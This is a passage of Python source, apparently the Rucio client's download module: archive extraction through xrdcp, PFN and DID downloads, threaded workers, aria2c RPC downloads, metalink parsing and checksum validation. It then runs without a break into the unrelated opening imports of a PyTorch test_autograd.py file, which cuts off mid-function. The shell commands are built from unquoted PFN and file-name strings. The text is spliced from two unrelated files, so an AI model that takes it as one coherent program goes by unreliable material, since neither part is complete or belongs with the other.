self.trace_tpl['localSite'] = self.client_location['site'] self.trace_tpl['account'] = self.client.account self.trace_tpl['eventType'] = 'download' self.trace_tpl['eventVersion'] = 'api_' + version.RUCIO_VERSION[0] def download_file_from_archive(self, items, trace_custom_fields={}): """ Download items with a given PFN. This function can only download files, no datasets. :param items: List of dictionaries. Each dictionary describing a file to download. Keys: did - DID string of the archive file (e.g. 'scope:file.name'). Wildcards are not allowed archive - DID string of the archive from which the file should be extracted rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK'). RSE Expressions are allowed base_dir - Optional: Base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState clientState can be one of the following: ALREADY_DONE, DONE, FILE_NOT_FOUND, FAIL_VALIDATE, FAILED :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises SourceNotFound: if xrdcp was unable to find the PFN :raises ServiceUnavailable: if xrdcp failed :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace = copy.deepcopy(self.trace_tpl) trace['uuid'] = generate_uuid() log_prefix = 'Extracting files: ' logger.info('Processing %d item(s) for input' % len(items)) for item in items: archive = item.get('archive') file_extract = item.get('did') rse_name = item.get('rse') if not archive or not file_extract: raise InputValidationError('File DID and archive DID are mandatory') if '*' in archive: logger.debug(archive) raise InputValidationError('Cannot use PFN download with wildcard in DID') file_extract_scope, file_extract_name = self._split_did_str(file_extract) archive_scope, archive_name = self._split_did_str(archive) # listing all available replicas of given archhive file rse_expression = 'istape=False' if not rse_name else '(%s)&istape=False' % rse_name archive_replicas = self.client.list_replicas([{'scope': archive_scope, 'name': archive_name}], schemes=['root'], rse_expression=rse_expression, unavailable=False, client_location=self.client_location) # preparing trace trace['scope'] = archive_scope trace['dataset'] = archive_name trace['filename'] = file_extract # preparing output directories dest_dir_path = self._prepare_dest_dir(item.get('base_dir', '.'), os.path.join(archive_scope, archive_name + '.extracted'), file_extract, item.get('no_subdir')) logger.debug('%sPreparing output destination %s' % (log_prefix, dest_dir_path)) # validation and customisation of list of replicas archive_replicas = list(archive_replicas) if len(archive_replicas) != 1: raise RucioException('No replicas for DID found or dataset was given.') archive_pfns = archive_replicas[0]['pfns'].keys() if len(archive_pfns) == 0: raise InputValidationError('No PFNs for replicas of archive %s' % archive) # checking whether file already exists success = False dest_file_path = os.path.join(dest_dir_path, file_extract) if os.path.isfile(dest_file_path): logger.info('%s%s File exists already locally: %s' % (log_prefix, file_extract_name, dest_dir_path)) trace['clientState'] = 'ALREADY_DONE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() self._send_trace(trace) success = True # DOWNLOAD, iteration over different rses unitl success retry_counter = 0 while not success and len(archive_pfns): retry_counter += 1 pfn = archive_pfns.pop() trace['rse'] = archive_replicas[0]['pfns'][pfn]['rse'] try: start_time = time.time() cmd = 'xrdcp -vf %s -z %s file://%s' % (pfn, file_extract_name, dest_dir_path) logger.debug('%sExecuting: %s' % (log_prefix, cmd)) status, out, err = execute(cmd) end_time = time.time() trace['transferStart'] = start_time trace['transferEnd'] = end_time if status == 54: trace['clientState'] = 'FAILED' raise SourceNotFound(err) elif status != 0: trace['clientState'] = 'FAILED' raise RucioException(err) else: success = True item['clientState'] = 'DONE' trace['clientState'] = 'DONE' except Exception as e: trace['clientState'] = 'FAILED' trace['stateReason'] = str(ServiceUnavailable(e)) raise ServiceUnavailable(e) self._send_trace(trace) if not success: raise RucioException('Failed to download file %s after %d retries' % (file_extract_name, retry_counter)) return self._check_output(items) def download_pfns(self, items, num_threads=2, trace_custom_fields={}): """ Download items with a given PFN. This function can only download files, no datasets. :param items: List of dictionaries. Each dictionary describing a file to download. Keys: pfn - PFN string of this file did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - rse name (e.g. 'CERN-PROD_DATADISK'). RSE Expressions are not allowed base_dir - Optional: Base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) ignore_checksum - Optional: If true, the checksum validation is skipped (for pfn downloads the checksum must be given explicitly). (Default: True) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState clientState can be one of the following: ALREADY_DONE, DONE, FILE_NOT_FOUND, FAIL_VALIDATE, FAILED :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ logger = self.logger trace_custom_fields['uuid'] = generate_uuid() logger.info('Processing %d item(s) for input' % len(items)) input_items = [] for item in items: did_str = item.get('did') pfn = item.get('pfn') rse = item.get('rse') if not did_str or not pfn or not rse: logger.debug(item) raise InputValidationError('The keys did, pfn, and rse are mandatory') logger.debug('Preparing PFN download of %s (%s) from %s' % (did_str, pfn, rse)) if '*' in did_str: logger.debug(did_str) raise InputValidationError('Cannot use PFN download with wildcard in DID') did_scope, did_name = self._split_did_str(did_str) dest_dir_path = self._prepare_dest_dir(item.get('base_dir', '.'), did_scope, did_name, item.get('no_subdir')) item['scope'] = did_scope item['name'] = did_name item['sources'] = [{'pfn': pfn, 'rse': rse}] dest_file_path = os.path.join(dest_dir_path, did_name) item['dest_dir_path'] = dest_dir_path item['dest_file_path'] = dest_file_path item['temp_file_path'] = dest_file_path + '.part' item.setdefault('ignore_checksum', True) input_items.append(item) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def download_dids(self, items, num_threads=2, trace_custom_fields={}): """ Download items with given DIDs. This function can also download datasets and wildcarded DIDs. :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download resolve_archives - Optional: bool indicating whether archives should be considered for download (Default: False) force_scheme - Optional: force a specific scheme to download this item. (Default: None) base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) transfer_timeout - Optional: Timeout time for the download protocols. (Default: None) :param num_threads: Suggestion of number of threads to use for the download. It will be lowered if it's too high. :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something unexpected went wrong during the download """ trace_custom_fields['uuid'] = generate_uuid() input_items = self._prepare_items_for_download(items) num_files_in = len(input_items) output_items = self._download_multithreaded(input_items, num_threads, trace_custom_fields) num_files_out = len(output_items) if num_files_in != num_files_out: raise RucioException('%d items were in the input queue but only %d are in the output queue' % (num_files_in, num_files_out)) return self._check_output(output_items) def _download_multithreaded(self, input_items, num_threads, trace_custom_fields={}): """ Starts an appropriate number of threads to download items from the input list. (This function is meant to be used as class internal only) :param input_items: list containing the input items to download :param num_threads: suggestion of how many threads should be started :param trace_custom_fields: Custom key value pairs to send with the traces :returns: list with output items as dictionaries """ logger = self.logger num_files = len(input_items) nlimit = 5 num_threads = max(1, num_threads) num_threads = min(num_files, num_threads, nlimit) input_queue = Queue() output_queue = Queue() input_queue.queue = deque(input_items) if num_threads < 2: logger.info('Using main thread to download %d file(s)' % num_files) self._download_worker(input_queue, output_queue, trace_custom_fields, '') return list(output_queue.queue) logger.info('Using %d threads to download %d files' % (num_threads, num_files)) threads = [] for thread_num in range(1, num_threads + 1): log_prefix = 'Thread %s/%s: ' % (thread_num, num_threads) kwargs = {'input_queue': input_queue, 'output_queue': output_queue, 'trace_custom_fields': trace_custom_fields, 'log_prefix': log_prefix} try: thread = Thread(target=self._download_worker, kwargs=kwargs) thread.start() threads.append(thread) except Exception as error: logger.warning('Failed to start thread %d' % thread_num) logger.debug(error) try: logger.debug('Waiting for threads to finish') for thread in threads: thread.join() except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') for thread in threads: thread.kill_received = True return list(output_queue.queue) def _download_worker(self, input_queue, output_queue, trace_custom_fields, log_prefix): """ This function runs as long as there are items in the input queue, downloads them and stores the output in the output queue. (This function is meant to be used as class internal only) :param input_queue: queue containing the input items to download :param output_queue: queue where the output items will be stored :param trace_custom_fields: Custom key value pairs to send with the traces :param log_prefix: string that will be put at the beginning of every log message """ logger = self.logger logger.debug('%sStart processing queued downloads' % log_prefix) while True: try: item = input_queue.get_nowait() except Empty: break try: trace = copy.deepcopy(self.trace_tpl) trace.update(trace_custom_fields) download_result = self._download_item(item, trace, log_prefix) output_queue.put(download_result) except KeyboardInterrupt: logger.warning('You pressed Ctrl+C! Exiting gracefully') os.kill(os.getpgid(), signal.SIGINT) break except Exception as error: logger.error('%sFailed to download item' % log_prefix) logger.debug(error) def _download_item(self, item, trace, log_prefix=''): """ Downloads the given item and sends traces for success/failure. (This function is meant to be used as class internal only) :param item: dictionary that describes the item to download :param trace: dictionary representing a pattern of trace that will be send :param log_prefix: string that will be put at the beginning of every log message :returns: dictionary with all attributes from the input item and a clientState attribute """ logger = self.logger did_scope = item['scope'] did_name = item['name'] did_str = '%s:%s' % (did_scope, did_name) logger.info('%sPreparing download of %s' % (log_prefix, did_str)) trace['scope'] = did_scope trace['filename'] = did_name trace.setdefault('datasetScope', item.get('dataset_scope', '')) trace.setdefault('dataset', item.get('dataset_name', '')) trace.setdefault('filesize', item.get('bytes')) # if file already exists, set state, send trace, and return temp_file_path = item['temp_file_path'] dest_file_path = item['dest_file_path'] if os.path.isfile(dest_file_path): logger.info('%sFile exists already locally: %s' % (log_prefix, did_str)) item['clientState'] = 'ALREADY_DONE' trace['transferStart'] = time.time() trace['transferEnd'] = time.time() trace['clientState'] = 'ALREADY_DONE' self._send_trace(trace) return item # check if file has replicas sources = item.get('sources') if not sources or not len(sources): logger.warning('%sNo available source found for file: %s' % (log_prefix, did_str)) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 'FILE_NOT_FOUND' self._send_trace(trace) return item success = False # try different PFNs until one succeeded i = 0 while not success and i < len(sources): pfn = sources[i]['pfn'] rse_name = sources[i]['rse'] i += 1 scheme = pfn.split(':')[0] # this is a workaround to fix that gfal doesnt use root's -z option for archives # this will be removed as soon as gfal has fixed this temp_file_path = item['temp_file_path'] dest_file_path = item['dest_file_path'] unzip_arg_name = '?xrdcl.unzip=' if scheme == 'root' and unzip_arg_name in pfn: logger.info('%sFound xrdcl.unzip in PFN. Using xrdcp overwrite.' % log_prefix) filename_in_archive = '' pfn_filename_start = pfn.find(unzip_arg_name) + len(unzip_arg_name) for c in pfn[pfn_filename_start:]: if c == '&' or c == '?': break filename_in_archive += c dest_file_path = os.path.join(os.path.dirname(dest_file_path), filename_in_archive) temp_file_path = '%s.part' % dest_file_path cmd = 'xrdcp -vf %s -z %s file://%s' % (pfn, filename_in_archive, temp_file_path) start_time = time.time() try: logger.debug('Executing: %s' % cmd) status, out, err = execute(cmd) except Exception as error: logger.debug('xrdcp execution failed') logger.debug(error) continue end_time = time.time() success = (status == 0) if not success: logger.debug('xrdcp status: %s' % status) logger.debug('xrdcp stdout: %s' % out) logger.debug('xrdcp stderr: %s' % err) trace['clientState'] = ('%s' % err) self._send_trace(trace) continue else: break try: rse = rsemgr.get_rse_info(rse_name) except RSENotFound: logger.warning('%sCould not get info of RSE %s' % (log_prefix, rse_name)) continue trace['remoteSite'] = rse_name trace['clientState'] = 'DOWNLOAD_ATTEMPT' trace['protocol'] = scheme logger.info('%sTrying to download with %s from %s: %s ' % (log_prefix, scheme, rse_name, did_str)) try: protocol = rsemgr.create_protocol(rse, operation='read', scheme=scheme) protocol.connect() except Exception as error: logger.warning('%sFailed to create protocol for PFN: %s' % (log_prefix, pfn)) logger.debug('scheme: %s, exception: %s' % (scheme, error)) continue attempt = 0 retries = 2 # do some retries with the same PFN if the download fails while not success and attempt < retries: attempt += 1 item['attemptnr'] = attempt if os.path.isfile(temp_file_path): logger.debug('%sDeleting existing temporary file: %s' % (log_prefix, temp_file_path)) os.unlink(temp_file_path) start_time = time.time() try: protocol.get(pfn, temp_file_path, transfer_timeout=item.get('transfer_timeout')) success = True except Exception as error: logger.debug(error) trace['clientState'] = str(type(error).__name__) end_time = time.time() if success and not item.get('ignore_checksum', False): rucio_checksum = item.get('adler32') local_checksum = None if not rucio_checksum: rucio_checksum = item.get('md5') local_checksum = md5(temp_file_path) else: local_checksum = adler32(temp_file_path) if rucio_checksum != local_checksum: success = False os.unlink(temp_file_path) logger.warning('%sChecksum validation failed for file: %s' % (log_prefix, did_str)) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) try: self.client.declare_suspicious_file_replicas([pfn], reason='Corrupted') except Exception: pass trace['clientState'] = 'FAIL_VALIDATE' if not success: logger.warning('%sDownload attempt failed. Try %s/%s' % (log_prefix, attempt, retries)) self._send_trace(trace) protocol.close() if not success: logger.error('%sFailed to download file %s' % (log_prefix, did_str)) item['clientState'] = 'FAILED' return item logger.debug("renaming '%s' to '%s'" % (temp_file_path, dest_file_path)) os.rename(temp_file_path, dest_file_path) trace['transferStart'] = start_time trace['transferEnd'] = end_time trace['clientState'] = 'DONE' item['clientState'] = 'DONE' self._send_trace(trace) duration = round(end_time - start_time, 2) size = item.get('bytes') size_str = sizefmt(size, self.is_human_readable) if size and duration: rate = round((size / duration) * 1e-6, 2) logger.info('%sFile %s successfully downloaded. %s in %s seconds = %s MBps' % (log_prefix, did_str, size_str, duration, rate)) else: logger.info('%sFile %s successfully downloaded in %s seconds' % (log_prefix, did_str, duration)) return item def download_aria2c(self, items, trace_custom_fields={}): """ Uses aria2c to download the items with given DIDs. This function can also download datasets and wildcarded DIDs. It only can download files that are available via https/davs. Aria2c needs to be installed and X509_USER_PROXY needs to be set! :param items: List of dictionaries. Each dictionary describing an item to download. Keys: did - DID string of this file (e.g. 'scope:file.name'). Wildcards are not allowed rse - Optional: rse name (e.g. 'CERN-PROD_DATADISK') or rse expression from where to download base_dir - Optional: base directory where the downloaded files will be stored. (Default: '.') no_subdir - Optional: If true, files are written directly into base_dir and existing files are overwritten. (Default: False) nrandom - Optional: if the DID addresses a dataset, nrandom files will be randomly choosen for download from the dataset ignore_checksum - Optional: If true, skips the checksum validation between the downloaded file and the rucio catalouge. (Default: False) :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState :raises InputValidationError: if one of the input items is in the wrong format :raises NoFilesDownloaded: if no files could be downloaded :raises NotAllFilesDownloaded: if not all files could be downloaded :raises RucioException: if something went wrong during the download (e.g. aria2c could not be started) """ trace_custom_fields['uuid'] = generate_uuid() rpc_secret = '%x' % (random.getrandbits(64)) rpc_auth = 'token:' + rpc_secret rpcproc, aria_rpc = self._start_aria2c_rpc(rpc_secret) for item in items: item['force_scheme'] = ['https', 'davs'] input_items = self._prepare_items_for_download(items) try: output_items = self._download_items_aria2c(input_items, aria_rpc, rpc_auth, trace_custom_fields) except Exception as error: self.logger.error('Unknown exception during aria2c download') self.logger.debug(error) finally: try: aria_rpc.aria2.forceShutdown(rpc_auth) finally: rpcproc.terminate() return self._check_output(output_items) def _start_aria2c_rpc(self, rpc_secret): """ Starts aria2c in RPC mode as a subprocess. Also creates the RPC proxy instance. (This function is meant to be used as class internal only) :param rpc_secret: the secret for the RPC proxy :returns: a tupel with the process and the rpc proxy objects :raises RucioException: if the process or the proxy could not be created """ logger = self.logger try: from xmlrpclib import ServerProxy as RPCServerProxy # py2 except ImportError: from xmlrpc.client import ServerProxy as RPCServerProxy cmd = 'aria2c '\ '--enable-rpc '\ '--certificate=$X509_USER_PROXY '\ '--private-key=$X509_USER_PROXY '\ '--ca-certificate=/etc/pki/tls/certs/CERN-bundle.pem '\ '--quiet=true '\ '--allow-overwrite=true '\ '--auto-file-renaming=false '\ '--stop-with-process=%d '\ '--rpc-secret=%s '\ '--rpc-listen-all=false '\ '--rpc-max-request-size=100M '\ '--connect-timeout=5 '\ '--rpc-listen-port=%d' logger.info('Starting aria2c rpc server...') # trying up to 3 random ports for attempt in range(3): port = random.randint(1024, 65534) logger.debug('Trying to start rpc server on port: %d' % port) try: to_exec = cmd % (os.getpid(), rpc_secret, port) logger.debug(to_exec) rpcproc = execute(to_exec, False) except Exception as error: raise RucioException('Failed to execute aria2c!', error) # if port is in use aria should fail to start so give it some time time.sleep(2) # did it fail? if rpcproc.poll() is not None: (out, err) = rpcproc.communicate() logger.debug('Failed to start aria2c with port: %d' % port) logger.debug('aria2c output: %s' % out) else: break if rpcproc.poll() is not None: raise RucioException('Failed to start aria2c rpc server!') try: aria_rpc = RPCServerProxy('http://localhost:%d/rpc' % port) except Exception as error: rpcproc.kill() raise RucioException('Failed to initialise rpc proxy!', error) return (rpcproc, aria_rpc) def _download_items_aria2c(self, items, aria_rpc, rpc_auth, trace_custom_fields={}): """ Uses aria2c to download the given items. Aria2c needs to be started as RPC background process first and a RPC proxy is needed. (This function is meant to be used as class internal only) :param items: list of dictionaries containing one dict for each file to download :param aria_rcp: RPCProxy to the aria2c process :param rpc_auth: the rpc authentication token :param trace_custom_fields: Custom key value pairs to send with the traces :returns: a list of dictionaries with an entry for each file, containing the input options, the did, and the clientState """ logger = self.logger gid_to_item = {} # maps an aria2c download id (gid) to the download item pfn_to_rse = {} items_to_queue = [item for item in items] # items get removed from gid_to_item when they are complete or failed while len(gid_to_item) or len(items_to_queue): num_queued = 0 # queue up to 100 files and then check arias status while (num_queued < 100) and len(items_to_queue): item = items_to_queue.pop() file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) trace = {'scope': file_scope, 'filename': file_name, 'datasetScope': item.get('dataset_scope', ''), 'dataset': item.get('dataset_name', ''), 'protocol': 'https', 'remoteSite': '', 'filesize': item.get('bytes', None), 'transferStart': time.time(), 'transferEnd': time.time()} trace.update(self.trace_tpl) trace.update(trace_custom_fields) # get pfns from all replicas pfns = [] for src in item['sources']: pfn = src['pfn'] if pfn[0:4].lower() == 'davs': pfn = pfn.replace('davs', 'https', 1) pfns.append(pfn) pfn_to_rse[pfn] = src['rse'] # does file exist and are sources available? if os.path.isfile(item['dest_file_path']): logger.info('File exists already locally: %s' % file_did_str) item['clientState'] = 'ALREADY_DONE' trace['clientState'] = 'ALREADY_DONE' self._send_trace(trace) elif len(pfns) == 0: logger.warning('No available source found for file: %s' % file_did_str) item['clientState'] = 'FILE_NOT_FOUND' trace['clientState'] = 'FILE_NOT_FOUND' self._send_trace(trace) else: item['trace'] = trace options = {'dir': item['dest_dir_path'], 'out': os.path.basename(item['temp_file_path'])} gid = aria_rpc.aria2.addUri(rpc_auth, pfns, options) gid_to_item[gid] = item num_queued += 1 logger.debug('Queued file: %s' % file_did_str) # get some statistics aria_stat = aria_rpc.aria2.getGlobalStat(rpc_auth) num_active = int(aria_stat['numActive']) num_waiting = int(aria_stat['numWaiting']) num_stopped = int(aria_stat['numStoppedTotal']) # save start time if one of the active downloads has started active = aria_rpc.aria2.tellActive(rpc_auth, ['gid', 'completedLength']) for dlinfo in active: gid = dlinfo['gid'] if int(dlinfo['completedLength']) > 0: gid_to_item[gid].setdefault('transferStart', time.time()) stopped = aria_rpc.aria2.tellStopped(rpc_auth, -1, num_stopped, ['gid', 'status', 'files']) for dlinfo in stopped: gid = dlinfo['gid'] item = gid_to_item[gid] file_scope = item['scope'] file_name = item['name'] file_did_str = '%s:%s' % (file_scope, file_name) temp_file_path = item['temp_file_path'] dest_file_path = item['dest_file_path'] # ensure we didnt miss the active state (e.g. a very fast download) start_time = item.setdefault('transferStart', time.time()) end_time = item.setdefault('transferEnd', time.time()) # get used pfn for traces trace = item['trace'] for uri in dlinfo['files'][0]['uris']: if uri['status'].lower() == 'used': trace['remoteSite'] = pfn_to_rse.get(uri['uri'], '') trace['transferStart'] = start_time trace['transferEnd'] = end_time # ensure file exists status = dlinfo.get('status', '').lower() if status == 'complete' and os.path.isfile(temp_file_path): # checksum check skip_check = item.get('ignore_checksum', False) rucio_checksum = 0 if skip_check else item.get('adler32') local_checksum = 0 if skip_check else adler32(temp_file_path) if rucio_checksum == local_checksum: item['clientState'] = 'DONE' trace['clientState'] = 'DONE' # remove .part ending os.rename(temp_file_path, dest_file_path) # calculate duration duration = round(end_time - start_time, 2) duration = max(duration, 0.01) # protect against 0 division size = item.get('bytes', 0) rate = round((size / duration) * 1e-6, 2) size_str = sizefmt(size, self.is_human_readable) logger.info('File %s successfully downloaded. %s in %s seconds = %s MBps' % (file_did_str, size_str, duration, rate)) else: os.unlink(temp_file_path) logger.warning('Checksum validation failed for file: %s' % file_did_str) logger.debug('Local checksum: %s, Rucio checksum: %s' % (local_checksum, rucio_checksum)) item['clientState'] = 'FAIL_VALIDATE' trace['clientState'] = 'FAIL_VALIDATE' else: logger.error('Failed to download file: %s' % file_did_str) logger.debug('Aria2c status: %s' % status) item['clientState'] = 'FAILED' trace['clientState'] = 'DOWNLOAD_ATTEMPT' self._send_trace(trace) del item['trace'] aria_rpc.aria2.removeDownloadResult(rpc_auth, gid) del gid_to_item[gid] if len(stopped) > 0: logger.info('Active: %d, Waiting: %d, Stopped: %d' % (num_active, num_waiting, num_stopped)) return items def _prepare_items_for_download(self, items): """ Resolves wildcarded DIDs, get DID details (e.g. type), and collects the available replicas for each DID (This function is meant to be used as class internal only) :param items: list of dictionaries containing the items to prepare :returns: list of dictionaries, one dict for each file to download :raises InputValidationError: if the given input is not valid or incomplete """ logger = self.logger logger.info('Processing %d item(s) for input' % len(items)) resolved_items = [] # resolve input: extend rse expression, resolve wildcards, get did type for item in items: did_str = item.get('did') if not did_str: raise InputValidationError('The key did is mandatory') logger.debug('Processing item %s' % did_str) new_item = copy.deepcopy(item) # extend RSE expression to exclude tape RSEs for non-admin accounts if not self.is_admin: rse = new_item.get('rse') new_item['rse'] = 'istape=False' if not rse else '(%s)&istape=False' % rse logger.debug('RSE-Expression: %s' % new_item['rse']) # resolve any wildcards in the input dids did_scope, did_name = self._split_did_str(did_str) logger.debug('Splitted DID: %s:%s' % (did_scope, did_name)) new_item['scope'] = did_scope if '*' in did_name: logger.debug('Resolving wildcarded DID %s' % did_str) for dids in self.client.list_dids(did_scope, filters={'name': did_name}, type='all', long=True): logger.debug('%s - %s:%s' % (dids['did_type'], did_scope, dids['name'])) new_item['type'] = dids['did_type'].upper() new_item['name'] = dids['name'] new_item['did'] = '%s:%s' % (did_scope, dids['name']) resolved_items.append(copy.deepcopy(new_item)) else: new_item['type'] = self.client.get_did(did_scope, did_name)['type'].upper() new_item['name'] = did_name resolved_items.append(new_item) # this list will have one dict for each file to download file_items = [] # get replicas for every file of the given dids logger.debug('%d DIDs after processing input' % len(resolved_items)) for item in resolved_items: did_scope = item['scope'] did_name = item['name'] did_str = item['did'] logger.debug('Processing: %s' % item) # since we are using metalink we need to explicitly # give all schemes (probably due to a bad server site implementation) force_scheme = item.get('force_scheme') if force_scheme: schemes = force_scheme if isinstance(force_scheme, list) else [force_scheme] else: schemes = ['davs', 'gsiftp', 'https', 'root', 'srm', 'file'] # get PFNs of files and datasets metalink_str = self.client.list_replicas([{'scope': did_scope, 'name': did_name}], schemes=schemes, rse_expression=item.get('rse'), client_location=self.client_location, resolve_archives=item.get('resolve_archives', False), metalink=True) files_with_pfns = self._parse_list_replica_metalink(metalink_str) nrandom = item.get('nrandom') if nrandom: logger.info('Selecting %d random replicas from dataset %s' % (nrandom, did_str)) random.shuffle(files_with_pfns) files_with_pfns = files_with_pfns[0:nrandom] for file_item in files_with_pfns: file_did_scope = file_item['scope'] file_did_name = file_item['name'] file_did_str = '%s:%s' % (file_did_scope, file_did_name) logger.debug('Queueing file: %s' % file_did_str) # put the input options from item into the file item file_item.update(item) dest_dir_name = file_did_scope if item['type'] != 'FILE': # if the did is a dataset, scope and name were updated wrongly file_item['scope'] = file_did_scope file_item['name'] = file_did_name file_item['did'] = file_did_str file_item['dataset_scope'] = did_scope file_item['dataset_name'] = did_name dest_dir_name = did_name dest_dir_path = self._prepare_dest_dir(item.get('base_dir', '.'), dest_dir_name, file_did_name, item.get('no_subdir')) file_item['dest_dir_path'] = dest_dir_path dest_file_path = os.path.join(dest_dir_path, file_did_name) file_item['dest_file_path'] = dest_file_path file_item['temp_file_path'] = dest_file_path + '.part' file_items.append(file_item) return file_items def _split_did_str(self, did_str): """ Splits a given DID string (e.g. 'scope1:name.file') into its scope and name part (This function is meant to be used as class internal only) :param did_str: the DID string that will be splitted :returns: the scope- and name part of the given DID :raises InputValidationError: if the given DID string is not valid """ did = did_str.split(':') if len(did) == 2: did_scope = did[0] did_name = did[1] elif len(did) == 1: did = did_str.split('.') did_scope = did[0] if did_scope == 'user' or did_scope == 'group': did_scope = '%s.%s' % (did[0], did[1]) did_name = did_str else: raise InputValidationError('%s is not a valid DID. To many colons.' % did_str) if did_name.endswith('/'): did_name = did_name[:-1] return did_scope, did_name def _parse_list_replica_metalink(self, metalink_str): """ Parses the metalink string that list_replicas can return into a list of dictionaries. (This function is meant to be used as class internal only) :param metalink_str: the metalink string to be parsed :returns: a list with a dictionary for each file """ try: root = ElementTree.fromstring(metalink_str) except Exception as error: self.logger.debug(metalink_str) raise error files = [] # metalink namespace ns = '{urn:ietf:params:xml:ns:metalink}' # loop over all <file> tags of the metalink string for file_ml in root.findall(ns + 'file'): # search for identity-tag cur_did = file_ml.find(ns + 'identity') if not ElementTree.iselement(cur_did): raise RucioException('Failed to locate identity-tag inside %s' % ElementTree.tostring(file_ml)) # try extracting scope,name scope, name = self._split_did_str(cur_did.text) cur_file = {'scope': scope, 'name': name, 'bytes': None, 'adler32': None, 'md5': None, 'sources': []} size = file_ml.find(ns + 'size') if ElementTree.iselement(size): cur_file['bytes'] = int(size.text) for cur_hash in file_ml.findall(ns + 'hash'): hash_type = cur_hash.get('type') if hash_type: cur_file[hash_type] = cur_hash.text for rse_ml in file_ml.findall(ns + 'url'): # check if location attrib (rse name) is given rse = rse_ml.get('location') pfn = rse_ml.text cur_file['sources'].append({'pfn': pfn, 'rse': rse}) files.append(cur_file) return files def _prepare_dest_dir(self, base_dir, dest_dir_name, file_name, no_subdir): """ Builds the final destination path for a file and: 1. deletes existing files if no_subdir was given 2. creates the destination directory if it's not existent (This function is meant to be used as class internal only) :param base_dir: base directory part :param dest_dir_name: name of the destination directory :param file_name: name of the file that will be downloaded :param no_subdir: if no subdirectory should be created :returns: the absolut path of the destination directory """ dest_dir_path = os.path.abspath(base_dir) # if no subdirectory is used, existing files will be overwritten if no_subdir: dest_file_path = os.path.join(dest_dir_path, file_name) if os.path.isfile(dest_file_path): self.logger.debug('Deleting existing file: %s' % dest_file_path) os.remove(dest_file_path) else: dest_dir_path = os.path.join(dest_dir_path, dest_dir_name) if not os.path.isdir(dest_dir_path): os.makedirs(dest_dir_path) return dest_dir_path def _check_output(self, output_items): """ Checks if all files were successfully downloaded (This function is meant to be used as class internal only) :param output_items: list of dictionaries describing the downloaded files :returns: output_items list :raises NoFilesDownloaded: :raises NotAllFilesDownloaded: """ success_states = ['ALREADY_DONE', 'DONE'] # failure_states = ['FILE_NOT_FOUND', 'FAIL_VALIDATE', 'FAILED'] num_successful = 0 num_failed = 0 for item in output_items: clientState = item.get('clientState', 'FAILED') if clientState in success_states: num_successful += 1 else: num_failed += 1 if num_successful == 0: raise NoFilesDownloaded() elif num_failed > 0: raise NotAllFilesDownloaded() return output_items def _send_trace(self, trace): """ Checks if sending trace is allowed and send the trace. :param trace: the trace """ if self.tracing: send_trace(trace, self.client.host, self.client.user_agent)
test_autograd.py
import gc import sys import io import math import random import tempfile import time import threading import unittest import warnings from copy import deepcopy from collections import OrderedDict from itertools import product, permutations from operator import mul from functools import reduce, partial import torch from torch import nn from torch._six import inf, nan from torch.autograd.function import once_differentiable from torch.autograd.profiler import (profile, format_time, EventList, FunctionEvent, FunctionEventAvg, record_function, emit_nvtx) import torch.autograd.functional as autogradF from torch.utils.checkpoint import checkpoint from torch.testing._internal.common_cuda import TEST_CUDA from torch.testing._internal.common_utils import (TestCase, run_tests, skipIfNoLapack, suppress_warnings, slowTest, load_tests, IS_WINDOWS, IS_MACOS, CudaMemoryLeakCheck, TEST_WITH_ROCM, disable_gc, gradcheck, gradgradcheck, make_tensor) from torch.autograd import Variable, Function, detect_anomaly, kineto_available from torch.autograd.function import InplaceFunction import torch.autograd.forward_ad as fwAD from torch.testing import randn_like from torch.testing._internal.common_methods_invocations import ( unpack_variables, mask_not_all_zeros, S) from torch.testing._internal.common_device_type import (instantiate_device_type_tests, skipCUDAIfRocm, onlyCPU, onlyCUDA, onlyOnCPUAndCUDA, dtypes, dtypesIfCUDA, deviceCountAtLeast, skipCUDAIfCudnnVersionLessThan, skipCUDAIf, skipMeta) # load_tests from common_utils is used to automatically filter tests for # sharding on sandcastle. This line silences flake warnings load_tests = load_tests import pickle PRECISION = 1e-4 def graph_desc(fn): if fn is None: return 'None' result = type(fn).__name__ + '(' next_functions = fn.next_functions for next_fn, _ in next_functions: result 